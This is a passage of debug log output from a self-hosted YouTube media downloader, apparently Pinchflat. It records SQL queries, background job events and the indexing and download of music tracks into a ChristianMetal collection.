THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:59.170 [debug] QUERY OK source="media_items" db=0.5ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-02 16:41:26Z], 5] 22:19:59.171 [debug] QUERY OK source="sources" db=0.1ms queue=0.2ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:59.171 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:19:59.172 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:59.308 [debug] QUERY OK source="media_items" db=137.1ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nThe Price of Agony · Fit For A King\n\nDark Skies\n\n℗ 2018 Solid State Records\n\nReleased on: 2018-09-14\n\nAuto-generated by YouTube.", "The Price of Agony", "f8b90615-e392-4ba1-ade9-1642646a5485", false, "kT3eHvwlytw", 288, false, "https://www.youtube.com/watch?v=kT3eHvwlytw", 10, "/downloads/ChristianMetal/ChristianMetal/2018-07-02The Price of Agony[kT3eHvwlytw].NA", false, false, 5, [], 1, ~U[2018-07-02 16:41:26Z], ~U[2026-07-24 02:19:59Z], ~U[2026-07-24 02:19:59Z], "Provided to YouTube by The Orchard Enterprises\n\nThe Price of Agony · Fit For A King\n\nDark Skies\n\n℗ 2018 Solid State Records\n\nReleased on: 2018-09-14\n\nAuto-generated by YouTube.", "The Price of Agony", "kT3eHvwlytw", 288, false, "https://www.youtube.com/watch?v=kT3eHvwlytw", "/downloads/ChristianMetal/ChristianMetal/2018-07-02The Price of Agony[kT3eHvwlytw].NA", false, 5, ~U[2018-07-02 16:41:26Z]] 22:19:59.654 [debug] QUERY OK source="sources" db=481.6ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:59.655 [info] {"args":{"force":true,"id":2},"id":185,"meta":{},"system_time":1784859599655099686,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:19:59.655 [debug] QUERY OK source="sources" db=0.9ms queue=0.6ms idle=482.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:59.655 [info] {"args":{"id":169},"id":184,"meta":{},"system_time":1784859599655178027,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:59.656 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=346.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:19:59.657 [debug] QUERY OK source="sources" db=1.3ms queue=0.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:59.657 [debug] QUERY OK source="media_profiles" db=1.6ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:59.658 [debug] QUERY OK source="media_items" db=1.7ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [169] 22:19:59.658 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:19:59.659 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:59.660 [debug] QUERY OK source="media_items" db=1.9ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [176] 22:19:59.660 [info] Kicking off download for media item #176 (kT3eHvwlytw) 22:19:59.660 [debug] QUERY OK source="media_items" db=3.4ms queue=0.2ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:59.661 [debug] QUERY OK source="media_items" db=1.9ms idle=1.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:19:59.660 [debug] QUERY OK source="sources" db=1.3ms queue=0.4ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:59.662 [info] Sent 200 in 882ms 22:19:59.662 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:59.662 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=1.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:19:59.910 [debug] QUERY OK source="tasks" db=137.8ms idle=110.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [186, 176, ~U[2026-07-24 02:19:59Z], ~U[2026-07-24 02:19:59Z]] 22:19:59.910 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nEmpty Heaven · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer: Carson Slovak\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Associated Performer, Mixer, Programmer: Grant McFarland\nVocals, Associated Performer: William Jacob Luhrs\nComposer, Associated Performer: JB Brubaker\nAssociated Performer, Author: Brent Rambler\nBass Guitar, Associated Performer, Vocals: Dustin Davidson\nDrums, Associated Performer: Matthew Greiner\n\nAuto-generated by YouTube.", "duration" => 266, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-04-02Empty Heaven[LlskSjhEW_M].m4a", "id" => "LlskSjhEW_M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LlskSjhEW_M", "playlist_index" => 11, "timestamp" => 1585822599, "title" => "Empty Heaven", "upload_date" => "20200402"} 22:19:59.911 [debug] QUERY OK source="sources" db=0.1ms idle=138.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:59.911 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.093 [debug] QUERY OK source="media_items" db=430.3ms queue=0.1ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [169] 22:20:00.093 [debug] QUERY OK source="media_profiles" db=430.6ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.094 [debug] QUERY OK source="media_items" db=2.0ms queue=181.1ms idle=0.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:16:39Z], 5] 22:20:00.095 [info] {"args":{"id":176},"id":186,"meta":{},"system_time":1784859600093852081,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:00.096 [info] CONNECTED TO Phoenix.LiveView.Socket in 36µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "WkB2aDk5ERlcL344AD1AFwMHURsLGg4u3-E_PqxX7IJhbpqASmehXnYm", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:00.097 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.098 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [176] 22:20:00.098 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:00.098 [debug] QUERY OK source="media_metadata" db=0.2ms idle=3.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [169] 22:20:00.248 [debug] QUERY OK source="sources" db=149.2ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.248 [debug] QUERY OK source="media_items" db=151.5ms queue=0.2ms idle=184.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nEmpty Heaven · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer: Carson Slovak\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Associated Performer, Mixer, Programmer: Grant McFarland\nVocals, Associated Performer: William Jacob Luhrs\nComposer, Associated Performer: JB Brubaker\nAssociated Performer, Author: Brent Rambler\nBass Guitar, Associated Performer, Vocals: Dustin Davidson\nDrums, Associated Performer: Matthew Greiner\n\nAuto-generated by YouTube.", "Empty Heaven", "b22485af-54e3-4c48-a116-6bb3b4a6cb46", false, "LlskSjhEW_M", 266, false, "https://www.youtube.com/watch?v=LlskSjhEW_M", 11, "/downloads/ChristianMetal/ChristianMetal/2020-04-02Empty Heaven[LlskSjhEW_M].m4a", false, false, 5, [], 3, ~U[2020-04-02 10:16:39Z], ~U[2026-07-24 02:20:00Z], ~U[2026-07-24 02:20:00Z], "Provided to YouTube by Universal Music Group\n\nEmpty Heaven · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer: Carson Slovak\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Associated Performer, Mixer, Programmer: Grant McFarland\nVocals, Associated Performer: William Jacob Luhrs\nComposer, Associated Performer: JB Brubaker\nAssociated Performer, Author: Brent Rambler\nBass Guitar, Associated Performer, Vocals: Dustin Davidson\nDrums, Associated Performer: Matthew Greiner\n\nAuto-generated by YouTube.", "Empty Heaven", "LlskSjhEW_M", 266, false, "https://www.youtube.com/watch?v=LlskSjhEW_M", "/downloads/ChristianMetal/ChristianMetal/2020-04-02Empty Heaven[LlskSjhEW_M].m4a", false, 5, ~U[2020-04-02 10:16:39Z]] 22:20:00.248 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:00.248 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 2} 22:20:00.248 [debug] QUERY OK source="media_profiles" db=0.8ms queue=148.6ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.248 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=149.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.249 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:20:00.249 [debug] QUERY OK source="sources" db=0.4ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.249 [debug] Current batch of media processed. Will check again in 1000ms 22:20:00.249 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:00.250 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.250 [debug] QUERY OK source="settings" db=0.8ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.250 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER 